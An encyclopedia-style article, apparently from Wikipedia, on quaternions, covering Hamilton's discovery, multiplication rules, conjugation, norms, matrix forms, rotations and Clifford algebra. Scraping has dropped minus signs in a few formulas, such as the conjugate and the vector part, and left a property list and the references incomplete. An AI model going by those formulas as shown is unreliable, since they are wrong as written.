The unit quaternions can therefore be thought of as a choice of a group structure on the 3-sphere $S^3$ that gives the group Spin(3), which is isomorphic to SU(2) and also to the universal cover of SO(3).
Graphical representation of quaternion units product as 90°-rotation in 4D-space, ij = k, ji = −k, ij = −ji
## History
Quaternion plaque on Brougham (Broom) Bridge, Dublin, which says:
Here as he walked by
on the 16th of October 1843
Sir William Rowan Hamilton
in a flash of genius discovered
the fundamental formula for
quaternion multiplication
i2 = j2 = k2 = ijk = −1
& cut it on a stone of this bridge
Quaternion algebra was introduced by Irish mathematician Sir William Rowan Hamilton in 1843.[6] Important precursors to this work included Euler's four-square identity (1748) and Olinde Rodrigues' parameterization of general rotations by four parameters (1840), but neither of these writers treated the four-parameter rotations as an algebra.[7][8] Carl Friedrich Gauss had also discovered quaternions in 1819, but this work was not published until 1900.[9]
Hamilton knew that the complex numbers could be interpreted as points in a plane, and he was looking for a way to do the same for points in three-dimensional space. Points in space can be represented by their coordinates, which are triples of numbers, and for many years Hamilton had known how to add and subtract triples of numbers. However, Hamilton had been stuck on the problem of multiplication and division for a long time. He could not figure out how to calculate the quotient of the coordinates of two points in space.
The great breakthrough in quaternions finally came on Monday 16 October 1843 in Dublin, when Hamilton was on his way to the Royal Irish Academy where he was going to preside at a council meeting. While walking along the towpath of the Royal Canal with his wife, the concepts behind quaternions were taking shape in his mind. When the answer dawned on him, Hamilton could not resist the urge to carve the formula for the quaternions
$i^2 = j^2 = k^2 = ijk = -1 \,$
into the stone of Brougham Bridge as he paused on it.
On the following day, Hamilton wrote a letter to his friend and fellow mathematician, John T. Graves, describing the train of thought that led to his discovery. This letter was later published in the London, Edinburgh, and Dublin Philosophical Magazine and Journal of Science, vol. xxv (1844), pp 489–95. On the letter, Hamilton states,
And here there dawned on me the notion that we must admit, in some sense, a fourth dimension of space for the purpose of calculating with triples ... An electric circuit seemed to close, and a spark flashed forth.
Hamilton called a quadruple with these rules of multiplication a quaternion, and he devoted most of the remainder of his life to studying and teaching them. He founded a school of "quaternionists", and he tried to popularize quaternions in several books. The last and longest of his books, Elements of Quaternions, was 800 pages long and was published shortly after his death.
After Hamilton's death, his student Peter Tait continued promoting quaternions. At this time, quaternions were a mandatory examination topic in Dublin. Topics in physics and geometry that would now be described using vectors, such as kinematics in space and Maxwell's equations, were described entirely in terms of quaternions. There was even a professional research association, the Quaternion Society, devoted to the study of quaternions and other hypercomplex number systems.
From the mid-1880s, quaternions began to be displaced by vector analysis, which had been developed by Josiah Willard Gibbs, Oliver Heaviside, and Hermann von Helmholtz. Vector analysis described the same phenomena as quaternions, so it borrowed some ideas and terminology liberally from the literature of quaternions. However, vector analysis was conceptually simpler and notationally cleaner, and eventually quaternions were relegated to a minor role in mathematics and physics. A side-effect of this transition is that Hamilton's work is difficult to comprehend for many modern readers. Hamilton's original definitions are unfamiliar and his writing style was prolix and opaque.
However, quaternions have had a revival since the late 20th Century, primarily due to their utility in describing spatial rotations. The representations of rotations by quaternions are more compact and quicker to compute than the representations by matrices. In addition, unlike Euler angles they are not susceptible to gimbal lock. For this reason, quaternions are used in computer graphics,[10] computer vision, robotics, control theory, signal processing, attitude control, physics, bioinformatics, molecular dynamics, computer simulations, and orbital mechanics. For example, it is common for the attitude-control systems of spacecraft to be commanded in terms of quaternions. Quaternions have received another boost from number theory because of their relationships with the quadratic forms.
Since 1989, the Department of Mathematics of the National University of Ireland, Maynooth has organized a pilgrimage, where scientists (including the physicists Murray Gell-Mann in 2002, Steven Weinberg in 2005, and the mathematician Andrew Wiles in 2003) take a walk from Dunsink Observatory to the Royal Canal bridge. Hamilton's carving is no longer visible.
## Definition
As a set, the quaternions H are equal to R4, a four-dimensional vector space over the real numbers. H has three operations: addition, scalar multiplication, and quaternion multiplication. The sum of two elements of H is defined to be their sum as elements of R4. Similarly the product of an element of H by a real number is defined to be the same as the product in R4. To define the product of two elements in H requires a choice of basis for R4. The elements of this basis are customarily denoted as 1, i, j, and k. Every element of H can be uniquely written as a linear combination of these basis elements, that is, as a1 + bi + cj + dk, where a, b, c, and d are real numbers. The basis element 1 will be the identity element of H, meaning that multiplication by 1 does nothing, and for this reason, elements of H are usually written a + bi + cj + dk, suppressing the basis element 1. Given this basis, associative quaternion multiplication is defined by first defining the products of basis elements and then defining all other products using the distributive law.
### Multiplication of basis elements
The equations
$i^2 = j^2 = k^2 = i j k = -1,\$
where i, j, and k are basis elements of H, determine all the possible products of i, j, and k. For example, since
$-1 = i j k,\$
right-multiplying both sides by k gives
\begin{align} -k & = i j k k = i j (k^2) = i j (-1), \\ k & = i j. \end{align}
All the other possible products can be determined by similar methods, resulting in
\begin{alignat}{2} ij & = k, & \qquad ji & = -k, \\ jk & = i, & kj & = -i, \\ ki & = j, & ik & = -j, \end{alignat}
which can be expressed as a table whose rows represent the left factor of the product and whose columns represent the right factor, as shown at the top of this article.
### Hamilton product
For two elements a1 + b1i + c1j + d1k and a2 + b2i + c2j + d2k, their Hamilton product (a1 + b1i + c1j + d1k)(a2 + b2i + c2j + d2k) is determined by the products of the basis elements and the distributive law. The distributive law makes it possible to expand the product so that it is a sum of products of basis elements. This gives the following expression:
$a_1a_2 + a_1b_2i + a_1c_2j + a_1d_2k$
${}+ b_1a_2i + b_1b_2i^2 + b_1c_2ij + b_1d_2ik$
${}+ c_1a_2j + c_1b_2ji + c_1c_2j^2 + c_1d_2jk$
${}+ d_1a_2k + d_1b_2ki + d_1c_2kj + d_1d_2k^2.$
Now the basis elements can be multiplied using the rules given above to get:[6]
$a_1a_2 - b_1b_2 - c_1c_2 - d_1d_2$
${}+ (a_1b_2 + b_1a_2 + c_1d_2 - d_1c_2)i$
${}+ (a_1c_2 - b_1d_2 + c_1a_2 + d_1b_2)j$
${}+ (a_1d_2 + b_1c_2 - c_1b_2 + d_1a_2)k.$
### Ordered list form
Using the basis 1, i, j, k of H makes it possible to write H as a set of quadruples:
$\mathbf{H} = \{(a, b, c, d) \mid a, b, c, d \in \mathbf{R}\}.$
Then the basis elements are:
\begin{align} 1 & = (1, 0, 0, 0), \\ i & = (0, 1, 0, 0), \\ j & = (0, 0, 1, 0), \\ k & = (0, 0, 0, 1), \end{align}
and the formulas for addition and multiplication are:
\begin{align} (a_1,\ b_1,\ c_1,\ d_1) + (a_2,\ b_2,\ c_2,\ d_2) \\ = (a_1 + a_2,\ b_1 + b_2,\ c_1 + c_2,\ d_1 + d_2). \end{align}
and
\begin{align} & (a_1,\ b_1,\ c_1,\ d_1)(a_2,\ b_2,\ c_2,\ d_2) \\[8pt] & = (a_1a_2 - b_1b_2 - c_1c_2 - d_1d_2, \\ & {} \qquad a_1b_2 + b_1a_2 + c_1d_2 - d_1c_2, \\ & {} \qquad a_1c_2 - b_1d_2 + c_1a_2 + d_1b_2, \\ & {} \qquad a_1d_2 + b_1c_2 - c_1b_2 + d_1a_2). \end{align}
### Scalar and vector parts
A number of the form a + 0i + 0j + 0k, where a is a real number, is called real, and a number of the form 0 + bi + cj + dk, where b, c, and d are real numbers, and at least one of b, c or d is nonzero, is called pure imaginary. If a + bi + cj + dk is any quaternion, then a is called its scalar part and bi + cj + dk is called its vector part. The scalar part of a quaternion is always real, and the vector part is always pure imaginary. Even though every quaternion is a vector in a four-dimensional vector space, it is common to define a vector to mean a pure imaginary quaternion. With this convention, a vector is the same as an element of the vector space R3.
Hamilton called pure imaginary quaternions right quaternions[11][12] and real numbers (considered as quaternions with zero vector part) scalar quaternions.
If a quaternion is divided up into a scalar part and a vector part, i.e.
$q = (r,\ \vec{v}),\ q\in\mathbb{H},\ r\in\mathbb{R},\ \vec{v}\in\mathbb{R}^3$
then the formulas for addition and multiplication are:
\begin{align} (r_1,\ \vec{v}_1) + (r_2,\ \vec{v}_2) \\ = (r_1 + r_2,\ \vec{v}_1+\vec{v}_2) \end{align}
and
\begin{array}{c} (r_1,\ \vec{v}_1) (r_2,\ \vec{v}_2) \\[8pt] \begin{align} & = (r_1 r_2 - \vec{v}_1\cdot\vec{v}_2,\\ & {} \qquad r_1\vec{v}_2+r_2\vec{v}_1 + \vec{v}_1\times\vec{v}_2) \end{align} \end{array}
where "·" is the dot product and "×" is the cross product.
### Remarks
#### Noncommutativity of multiplication
Unlike multiplication of real or complex numbers, multiplication of quaternions is not commutative: For example, $ij = k$, while $ji = -k$. The noncommutativity of multiplication has some unexpected consequences, among them that polynomial equations over the quaternions can have more distinct solutions than the degree of the polynomial. The equation $z^2 + 1 = 0$, for instance, has infinitely many quaternion solutions $z = bi + cj + dk$ with $b^2 + c^2 + d^2 = 1$, so that these solutions lie on the two-dimensional surface of a sphere centered on zero in the three-dimensional subspace of quaternions with zero real part. This sphere intersects the complex plane at two points i and −i.
The fact that quaternion multiplication is not commutative makes the quaternions an often-cited example of a strictly skew field.
#### Historical impact on physics
P.R. Girard’s essay The quaternion group and modern physics[13] discusses some roles of quaternions in physics. It "shows how various physical covariance groups: SO(3), the Lorentz group, the general relativity group, the Clifford algebra SU(2), and the conformal group can be readily related to the quaternion group" in modern algebra. Girard began by discussing group representations and by representing some space groups of crystallography. He proceeded to kinematics of rigid body motion. Next he used complex quaternions (biquaternions) to represent the Lorentz group of special relativity, including the Thomas precession. He cited five authors, beginning with Ludwik Silberstein who use a potential function of one quaternion variable to express Maxwell's equations in a single differential equation. Concerning general relativity, he expressed the Runge–Lenz vector. He mentioned the Clifford biquaternions (split-biquaternions) as an instance of Clifford algebra. Finally, invoking the reciprocal of a biquaternion, Girard described conformal maps on spacetime. Among the fifty references, Girard included Alexander Macfarlane and his Bulletin of the Quaternion Society. In 1999 he showed how Einstein's equations of general relativity could be formulated within a Clifford algebra that is directly linked to quaternions.[14]
A more personal view of quaternions was written by Joachim Lambek in 1995. He wrote in his essay If Hamilton had prevailed: quaternions in physics: "My own interest as a graduate student was raised by the inspiring book by Silberstein". He concluded by stating "I firmly believe that quaternions can supply a shortcut for pure mathematicians who wish to familiarize themselves with certain aspects of theoretical physics."[15]
In 2007, Alexander P. Yefremov and co-workers showed that quaternion space geometry is closely linked to the Yang–Mills field and pointed out connections to the Duffin–Kemmer–Petiau equation and the Klein–Gordon equation.[16]
#### Sums of four squares
Quaternions are also used in one of the proofs of Lagrange's four-square theorem in number theory, which states that every nonnegative integer is the sum of four integer squares. As well as being an elegant theorem in its own right, Lagrange's four square theorem has useful applications in areas of mathematics outside number theory, such as combinatorial design theory. The quaternion-based proof uses Hurwitz quaternions, a subring of the ring of all quaternions for which there is an analog of the Euclidean algorithm.
## Conjugation, the norm, and reciprocal
Conjugation of quaternions is analogous to conjugation of complex numbers and to transposition (also known as reversal) of elements of Clifford algebras. To define it, let q = a +bi +cj + dk be a quaternion. The conjugate of q is the quaternion abicjdk. It is denoted by q*, $\overline q$,[6] qt, or $\tilde q$. Conjugation is an involution, meaning that it is its own inverse, so conjugating an element twice returns the original element. The conjugate of a product of two quaternions is the product of the conjugates in the reverse order. That is, if p and q are quaternions, then (pq)* = q*p*, not p*q*.
Unlike the situation in the complex plane, the conjugation of a quaternion can be expressed entirely with multiplication and addition:
$q^* = - \frac 1 2 (q + iqi + jqj + kqk)$
Conjugation can be used to extract the scalar and vector parts of a quaternion. The scalar part of p is (p + p*)/2, and the vector part of p is (pp*)/2.
The square root of the product of a quaternion with its conjugate is called its norm and is denoted ||q||. (Hamilton called this quantity the tensor of q, but this conflicts with modern usage. See tensor.) It has the formula
$\lVert q \rVert = \sqrt{qq^*} = \sqrt{q^*q} = \sqrt{a^2 + b^2 + c^2 + d^2}.$
This is always a non-negative real number, and it is the same as the Euclidean norm on H considered as the vector space R4. Multiplying a quaternion by a real number scales its norm by the absolute value of the number. That is, if α is real, then
$\lVert\alpha q\rVert = |\alpha|\lVert q\rVert.$
This is a special case of the fact that the norm is multiplicative, meaning that
$\lVert pq \rVert = \lVert p \rVert\lVert q \rVert.$
for any two quaternions p and q. Multiplicativity is a consequence of the formula for the conjugate of a product. Alternatively multiplicativity follows directly from the corresponding property of determinants of square matrices and the formula
$a^2 + b^2 + c^2 + d^2 = \det \Bigl(\begin{array}{cc} a+ib & id+c \\ id-c & a-ib \end{array}\Bigr),$
where i denotes the usual imaginary unit.
This norm makes it possible to define the distance d(p, q) between p and q as the norm of their difference:
$d(p, q) = \lVert p - q \rVert.$
This makes H into a metric space. Addition and multiplication are continuous in the metric topology.
A unit quaternion is a quaternion of norm one. Dividing a non-zero quaternion q by its norm produces a unit quaternion Uq called the versor of q:
$\mathbf{U}q = \frac{q}{\lVert q\rVert}.$
Every quaternion has a polar decomposition q = ||q|| Uq.
Using conjugation and the norm makes it possible to define the reciprocal of a quaternion. The product of a quaternion with its reciprocal should equal 1, and the considerations above imply that the product of $q$ and $q^*/\lVert q \rVert^2$ (in either order) is 1. So the reciprocal of q is defined to be
$q^{-1} = \frac{q^*}{\lVert q\rVert^2}.$
This makes it possible to divide two quaternions p and q in two different ways. That is, their quotient can be either p q −1 or q −1p. The notation $\textstyle\frac p q$ is ambiguous because it does not specify whether q divides on the left or the right.
## Algebraic properties
Cayley graph of Q8. The red arrows represent multiplication on the right by i, and the green arrows represent multiplication on the right by j.
The set H of all quaternions is a vector space over the real numbers with dimension 4. (In comparison, the real numbers have dimension 1, the complex numbers have dimension 2, and the octonions have dimension 8.) The quaternions have a multiplication that is associative and that distributes over vector addition, but which is not commutative. Therefore the quaternions H are a non-commutative associative algebra over the real numbers. Even though H contains copies of the complex numbers, it is not an associative algebra over the complex numbers.
Because it is possible to divide quaternions, they form a division algebra. This is a structure similar to a field except for the commutativity of multiplication. Finite-dimensional associative division algebras over the real numbers are very rare. The Frobenius theorem states that there are exactly three: R, C, and H. The norm makes the quaternions into a normed algebra, and normed division algebras over the reals are also very rare: Hurwitz's theorem says that there are only four: R, C, H, and O (the octonions). The quaternions are also an example of a composition algebra and of a unital Banach algebra.
Because the product of any two basis vectors is plus or minus another basis vector, the set {±1, ±i, ±j, ±k} forms a group under multiplication. This group is called the quaternion group and is denoted Q8.[17] The real group ring of Q8 is a ring RQ8 which is also an eight-dimensional vector space over R. It has one basis vector for each element of Q8. The quaternions are the quotient ring of RQ8 by the ideal generated by the elements 1 + (−1), i + (−i), j + (−j), and k + (−k). Here the first term in each of the differences is one of the basis elements 1, i, j, and k, and the second term is one of basis elements −1, −i, −j, and −k, not the additive inverses of 1, i, j, and k.
## Quaternions and the geometry of R3
Because the vector part of a quaternion is a vector in R3, the geometry of R3 is reflected in the algebraic structure of the quaternions. Many operations on vectors can be defined in terms of quaternions, and this makes it possible to apply quaternion techniques wherever spatial vectors arise. For instance, this is true in electrodynamics and 3D computer graphics.
For the remainder of this section, i, j, and k will denote both imaginary[18] basis vectors of H and a basis for R3. Notice that replacing i by −i, j by −j, and k by −k sends a vector to its additive inverse, so the additive inverse of a vector is the same as its conjugate as a quaternion. For this reason, conjugation is sometimes called the spatial inverse.
Choose two imaginary quaternions p = b1i + c1j + d1k and q = b2i + c2j + d2k. Their dot product is
$p \cdot q = b_1b_2 + c_1c_2 + d_1d_2.$
This is equal to the scalar parts of p*q, qp*, pq*, and q*p. (Note that the vector parts of these four products are different.) It also has the formulas
$p \cdot q = \textstyle\frac{1}{2}(p^*q + q^*p) = \textstyle\frac{1}{2}(pq^* + qp^*).$
The cross product of p and q relative to the orientation determined by the ordered basis i, j, and k is
$p \times q = (c_1d_2 - d_1c_2)i + (d_1b_2 - b_1d_2)j + (b_1c_2 - c_1b_2)k.$
(Recall that the orientation is necessary to determine the sign.) This is equal to the vector part of the product pq (as quaternions), as well as the vector part of −q*p*. It also has the formula
$p \times q = \textstyle\frac{1}{2}(pq - q^*p^*).$
In general, let p and q be quaternions (possibly non-imaginary), and write
$p = p_s + \vec{p}_v,$
$q = q_s + \vec{q}_v,$
where ps and qs are the scalar parts of p and q and $\vec{p}_v$ and $\vec{q}_v$ are the vector parts of p and q. Then we have the formula
$pq = p_sq_s - \vec{p}_v\cdot\vec{q}_v + p_s\vec{q}_v + \vec{p}_vq_s + \vec{p}_v \times \vec{q}_v.$
This shows that the noncommutativity of quaternion multiplication comes from the multiplication of pure imaginary quaternions. It also shows that two quaternions commute if and only if their vector parts are collinear.
For further elaboration on modeling three-dimensional vectors using quaternions, see quaternions and spatial rotation.
## Matrix representations
Just as complex numbers can be represented as matrices, so can quaternions. There are at least two ways of representing quaternions as matrices in such a way that quaternion addition and multiplication correspond to matrix addition and matrix multiplication. One is to use 2×2 complex matrices, and the other is to use 4×4 real matrices. In each case, the representation given is one of a family of linearly related representations. In the terminology of abstract algebra, these are injective homomorphisms from H to the matrix rings M2(C) and M4(R), respectively.
Using 2×2 complex matrices, the quaternion a + bi + cj + dk can be represented as
$\begin{bmatrix}a+bi & c+di \\ -c+di & a-bi \end{bmatrix}.$
This representation has the following properties:
Using 4×4 real matrices, that same quaternion can be written as
$\begin{bmatrix} a & b & c & d \\ -b & a & -d & c \\ -c & d & a & -b \\ -d & -c & b & a \end{bmatrix}$
$= a \begin{bmatrix} 1 & 0 & 0 & 0 \\ 0 & 1 & 0 & 0 \\ 0 & 0 & 1 & 0 \\ 0 & 0 & 0 & 1 \end{bmatrix} + b \begin{bmatrix} 0 & 1 & 0 & 0 \\ -1 & 0 & 0 & 0 \\ 0 & 0 & 0 & -1 \\ 0 & 0 & 1 & 0 \end{bmatrix} + c \begin{bmatrix} 0 & 0 & 1 & 0 \\ 0 & 0 & 0 & 1 \\ -1 & 0 & 0 & 0 \\ 0 & -1 & 0 & 0 \end{bmatrix} + d \begin{bmatrix} 0 & 0 & 0 & 1 \\ 0 & 0 & -1 & 0 \\ 0 & 1 & 0 & 0 \\ -1 & 0 & 0 & 0 \end{bmatrix}.$
In this representation, the conjugate of a quaternion corresponds to the transpose of the matrix. The fourth power of the norm of a quaternion is the determinant of the corresponding matrix. Complex numbers are block diagonal matrices with two 2×2 blocks.
## Quaternions as pairs of complex numbers
Quaternions can be represented as pairs of complex numbers. From this perspective, quaternions are the result of applying the Cayley–Dickson construction to the complex numbers. This is a generalization of the construction of the complex numbers as pairs of real numbers.
Let C2 be a two-dimensional vector space over the complex numbers. Choose a basis consisting of two elements 1 and j. A vector in C2 can be written in terms of the basis elements 1 and j as
$(a + bi)1 + (c + di)j.\$
If we define j2 = −1 and ij = −ji, then we can multiply two vectors using the distributive law. Writing k in place of the product ij leads to the same rules for multiplication as the usual quaternions. Therefore the above vector of complex numbers corresponds to the quaternion a + bi + cj + dk. If we write the elements of C2 as ordered pairs and quaternions as quadruples, then the correspondence is
$(a + bi,\ c + di) \leftrightarrow (a, b, c, d).$
## Square roots of −1
In the complex numbers, there are just two numbers, i and −i, whose square is −1 . In H there are infinitely many square roots of minus one: the quaternion solution for the square root of −1 is the surface of the unit sphere in 3-space. To see this, let q = a + bi + cj + dk be a quaternion, and assume that its square is −1. In terms of a, b, c, and d, this means
$a^2 - b^2 - c^2 - d^2 = -1,$
$2ab = 0,$
$2ac = 0,$
$2ad = 0.$
To satisfy the last three equations, either a = 0 or b, c, and d are all 0. The latter is impossible because a is a real number and the first equation would imply that a2 = −1. Therefore a = 0 and b2 + c2 + d2 = 1. In other words, a quaternion squares to −1 if and only if it is a vector (that is, pure imaginary) with norm 1. By definition, the set of all such vectors forms the unit sphere.
Only negative real quaternions have an infinite number of square roots. All others have just two (or one in the case of 0).
The identification of the square roots of minus one in H was given by Hamilton[20] but was frequently omitted in other texts. By 1971 the sphere was included by Sam Perlis in his three page exposition included in Historical Topics in Algebra (page 39) published by the National Council of Teachers of Mathematics. More recently, the sphere of square roots of minus one is described in Ian R. Porteous's book Clifford Algebras and the Classical Groups (Cambridge, 1995) in proposition 8.13 on page 60. Also in Conway (2003) On Quaternions and Octonions we read on page 40: "any imaginary unit may be called i, and perpendicular one j, and their product k", another statement of the sphere.
### H as a union of complex planes
Each pair of square roots of −1 creates a distinct copy of the complex numbers inside the quaternions. If q2 = −1, then the copy is determined by the function
$a + b\sqrt{-1} \mapsto a + bq.$
In the language of abstract algebra, each is an injective ring homomorphism from C to H. The images of the embeddings corresponding to q and q are identical.
Every non-real quaternion lies in a subspace of H isomorphic to C. Write q as the sum of its scalar part and its vector part:
$q = q_s + \vec{q}_v.$
Decompose the vector part further as the product of its norm and its versor:
$q = q_s + \lVert\vec{q}_v\rVert\cdot\mathbf{U}\vec{q}_v.$
(Note that this is not the same as $q_s + \lVert q\rVert\cdot\mathbf{U}q$.) The versor of the vector part of q, $\mathbf{U}\vec{q}_v$, is a pure imaginary unit quaternion, so its square is −1. Therefore it determines a copy of the complex numbers by the function
$a + b\sqrt{-1} \mapsto a + b\mathbf{U}\vec{q}_v.$
Under this function, q is the image of the complex number $q_s + \lVert\vec{q}_v\rVert i$. Thus H is the union of complex planes intersecting in a common real line, where the union is taken over the sphere of square roots of minus one, bearing in mind that the same plane is associated with the antipodal points of the sphere.
### Commutative subrings
The relationship of quaternions to each other within the complex subplanes of H can also be identified and expressed in terms of commutative subrings. Specifically, since two quaternions p and q commute (pq = qp ) only if they lie in the same complex subplane of H, the profile of H as a union of complex planes arises when one seeks to find all commutative subrings of the quaternion ring. This method of commutative subrings is also used to profile the coquaternions and 2 × 2 real matrices.
## Functions of a quaternion variable
Like functions of a complex variable, functions of a quaternion variable suggest useful physical models. For example, the original electric and magnetic fields described by Maxwell were functions of a quaternion variable.
### Exponential, logarithm, and power
Given a quaternion,
$q=a+bi+cj+dk=a+\mathbf{v}$,
the exponential is computed as
$\exp(q) = \sum_{n=0}^\infty \frac{q^n}{n!}=e^{a} \left(\cos \|\mathbf{v}\| + \frac{\mathbf{v}}{\|\mathbf{v}\|} \sin \|\mathbf{v}\|\right)$
and
$\ln(q) = \ln \|q\| + \frac{\mathbf{v}}{\|\mathbf{v}\|} \cos^{-1} \frac{a}{\|q\|}$.[21]
It follows that the polar decomposition of a quaternion may be written
$q=\|q\|e^{\hat{n}\theta},$
where the angle $\theta$ and the unit vector $\hat{n}$ are defined by:
$a=\|q\|\cos(\theta)$
and
$\mathbf{v}=\hat{n} \|\mathbf{v}\|=\hat{n}\|q\|\sin(\theta).$
Any unit quaternion may be expressed in polar form as $e^{\hat{n}\theta}$.
The power of a quaternion raised to an arbitrary (real) exponent is given by:
$q^\alpha=\|q\|^\alpha e^{\hat{n}\alpha\theta}$
## Three-dimensional and four-dimensional rotation groups
The term "conjugation", besides the meaning given above, can also mean taking an element a to r a r-1 where r is some non-zero element (quaternion). All elements that are conjugate to a given element (in this sense of the word conjugate) have the same real part and the same norm of the vector part. (Thus the conjugate in the other sense is one of the conjugates in this sense.)
Thus the multiplicative group of non-zero quaternions acts by conjugation on the copy of R³ consisting of quaternions with real part equal to zero. Conjugation by a unit quaternion (a quaternion of absolute value 1) with real part cos(θ) is a rotation by an angle 2θ, the axis of the rotation being the direction of the imaginary part. The advantages of quaternions are:
1. Non singular representation (compared with Euler angles for example).
2. More compact (and faster) than matrices.
3. Pairs of unit quaternions represent a rotation in 4D space (see Rotations in 4-dimensional Euclidean space: Algebra of 4D rotations).
The set of all unit quaternions (versors) forms a 3-dimensional sphere S³ and a group (a Lie group) under multiplication, double covering the group SO(3,R) of real orthogonal 3×3 matrices of determinant 1 since two unit quaternions correspond to every rotation under the above correspondence.
The image of a subgroup of versors is a point group, and conversely, the preimage of a point group is a subgroup of versors. The preimage of a finite point group is called by the same name, with the prefix binary. For instance, the preimage of the icosahedral group is the binary icosahedral group.
The versors' group is isomorphic to SU(2), the group of complex unitary 2×2 matrices of determinant 1.
Let A be the set of quaternions of the form a + bi + cj + dk where a, b, c, and d are either all integers or all rational numbers with odd numerator and denominator 2. The set A is a ring (in fact a domain) and a lattice and is called the ring of Hurwitz quaternions. There are 24 unit quaternions in this ring, and they are the vertices of a 24-cell regular polytope with Schläfli symbol {3,4,3}.
## Generalizations
If F is any field with characteristic different from 2, and a and b are elements of F, one may define a four-dimensional unitary associative algebra over F with basis 1, i, j, and ij, where i2 = a, j2 = b and ij = −ji (so (ij)2 = −ab). These algebras are called quaternion algebras and are isomorphic to the algebra of 2×2 matrices over F or form division algebras over F, depending on the choice of a and b.
## Quaternions as the even part of Cℓ3,0(R)
The usefulness of quaternions for geometrical computations can be generalised to other dimensions, by identifying the quaternions as the even part Cℓ+3,0(R) of the Clifford algebra Cℓ3,0(R). This is an associative multivector algebra built up from fundamental basis elements σ1, σ2, σ3 using the product rules
$\sigma_1^2 = \sigma_2^2 = \sigma_3^2 = 1,$
$\sigma_i \sigma_j = - \sigma_j \sigma_i \qquad (j \neq i).$
If these fundamental basis elements are taken to represent vectors in 3D space, then it turns out that the reflection of a vector r in a plane perpendicular to a unit vector w can be written:
$r^{\prime} = - w\, r\, w.$
Two reflections make a rotation by an angle twice the angle between the two reflection planes, so
$r^{\prime\prime} = \sigma_2 \sigma_1 \, r \, \sigma_1 \sigma_2$
corresponds to a rotation of 180° in the plane containing σ1 and σ2. This is very similar to the corresponding quaternion formula,
$r^{\prime\prime} = -\mathbf{k}\, r\, \mathbf{k}.$
In fact, the two are identical, if we make the identification
$\mathbf{k} = \sigma_2 \sigma_1, \mathbf{i} = \sigma_3 \sigma_2, \mathbf{j} = \sigma_1 \sigma_3$
and it is straightforward to confirm that this preserves the Hamilton relations
$\mathbf{i}^2 = \mathbf{j}^2 = \mathbf{k}^2 = \mathbf{i} \mathbf{j} \mathbf{k} = -1.$
In this picture, quaternions correspond not to vectors but to bivectors, quantities with magnitude and orientations associated with particular 2D planes rather than 1D directions. The relation to complex numbers becomes clearer, too: in 2D, with two vector directions σ1 and σ2, there is only one bivector basis element σ1σ2, so only one imaginary. But in 3D, with three vector directions, there are three bivector basis elements σ1σ2, σ2σ3, σ3σ1, so three imaginaries.
This reasoning extends further. In the Clifford algebra Cℓ4,0(R), there are six bivector basis elements, since with four different basic vector directions, six different pairs and therefore six different linearly independent planes can be defined. Rotations in such spaces using these generalisations of quaternions, called rotors, can be very useful for applications involving homogeneous coordinates. But it is only in 3D that the number of basis bivectors equals the number of basis vectors, and each bivector can be identified as a pseudovector.
Dorst et al. identify the following advantages for placing quaternions in this wider setting:[22]
• Rotors are natural and non-mysterious in geometric algebra and easily understood as the encoding of a double reflection.
• In geometric algebra, a rotor and the objects it acts on live in the same space. This eliminates the need to change representations and to encode new data structures and methods (which is required when augmenting linear algebra with quaternions).
• A rotor is universally applicable to any element of the algebra, not just vectors and other quaternions, but also lines, planes, circles, spheres, rays, and so on.
• In the conformal model of Euclidean geometry, rotors allow the encoding of rotation, translation and scaling in a single element of the algebra, universally acting on any element. In particular, this means that rotors can represent rotations around an arbitrary axis, whereas quaternions are limited to an axis through the origin.
• Rotor-encoded transformations make interpolation particularly straightforward.
For further detail about the geometrical uses of Clifford algebras, see Geometric algebra.
## Brauer group
The quaternions are "essentially" the only (non-trivial) central simple algebra (CSA) over the real numbers, in the sense that every CSA over the reals is Brauer equivalent to either the reals or the quaternions. Explicitly, the Brauer group of the reals consists of two classes, represented by the reals and the quaternions, where the Brauer group is the set of all CSAs, up to equivalence relation of one CSA being a matrix ring over another. By the Artin–Wedderburn theorem (specifically, Wedderburn's part), CSAs are all matrix algebras over a division algebra, and thus the quaternions are the only non-trivial division algebra over the reals.
CSAs – rings over a field, which are simple algebras (have no non-trivial 2-sided ideals, just as with fields) whose center is exactly the field – are a noncommutative analog of extension fields, and are more restrictive than general ring extensions. The fact that the quaternions are the only non-trivial CSA over the reals (up to equivalence) may be compared with the fact that the complex numbers are the only non-trivial field extension of the reals.
## Quotes
• "I regard it as an inelegance, or imperfection, in quaternions, or rather in the state to which it has been hitherto unfolded, whenever it becomes or seems to become necessary to have recourse to x, y, z, etc." — William Rowan Hamilton (ed. Quoted in a letter from Tait to Cayley).
• "Time is said to have only one dimension, and space to have three dimensions. […] The mathematical quaternion partakes of both these elements; in technical language it may be said to be "time plus space", or "space plus time": and in this sense it has, or at least involves a reference to, four dimensions. And how the One of Time, of Space the Three, Might in the Chain of Symbols girdled be." — William Rowan Hamilton (Quoted in R.P. Graves, "Life of Sir William Rowan Hamilton").
• "Quaternions came from Hamilton after his really good work had been done; and, though beautifully ingenious, have been an unmixed evil to those who have touched them in any way, including Clerk Maxwell." — Lord Kelvin, 1892.
• "Neither matrices nor quaternions and ordinary vectors were banished from these ten [additional] chapters. For, in spite of the uncontested power of the modern Tensor Calculus, those older mathematical languages continue, in my opinion, to offer conspicuous advantages in the restricted field of special relativity. Moreover, in science as well as in every-day life, the mastery of more than one language is also precious, as it broadens our views, is conducive to criticism with regard to, and guards against hypostasy [weak-foundation] of, the matter expressed by words or mathematical symbols." — Ludwik Silberstein, preparing the second edition of his Theory of Relativity in 1924.
• "… quaternions appear to exude an air of nineteenth century decay, as a rather unsuccessful species in the struggle-for-life of mathematical ideas. Mathematicians, admittedly, still keep a warm place in their hearts for the remarkable algebraic properties of quaternions but, alas, such enthusiasm means little to the harder-headed physical scientist." — Simon L. Altmann, 1986.
• "...the thing about a Quaternion 'is' is that we're obliged to encounter it in more than one guise. As a vector quotient. As a way of plotting complex numbers along three axes instead of two. As a list of instructions for turning one vector into another..... And considered subjectively, as an act of becoming longer or shorter, while at the same time turning, among axes whose unit vector is not the familiar and comforting 'one' but the altogether disquieting square root of minus one. If you were a vector, mademoiselle, you would begin in the 'real' world, change your length, enter an 'imaginary' reference system, rotate up to three different ways, and return to 'reality' a new person. Or vector..." — Thomas Pynchon, Against the Day, 2006.
## Notes
1. ^ "On Quaternions; or on a new System of Imaginaries in Algebra (letter to John T. Graves, dated October 17, 1843)". 1843.
2. ^
3. ^ Hamilton. Hodges and Smith. 1853. p. 60.
4. ^
5. ^ Journal of Theoretics. http://www.journaloftheoretics.com/articles/3-6/qm-pub.pdf.
6. ^ a b c See Hazewinkel et. al. (2004), p. 12.
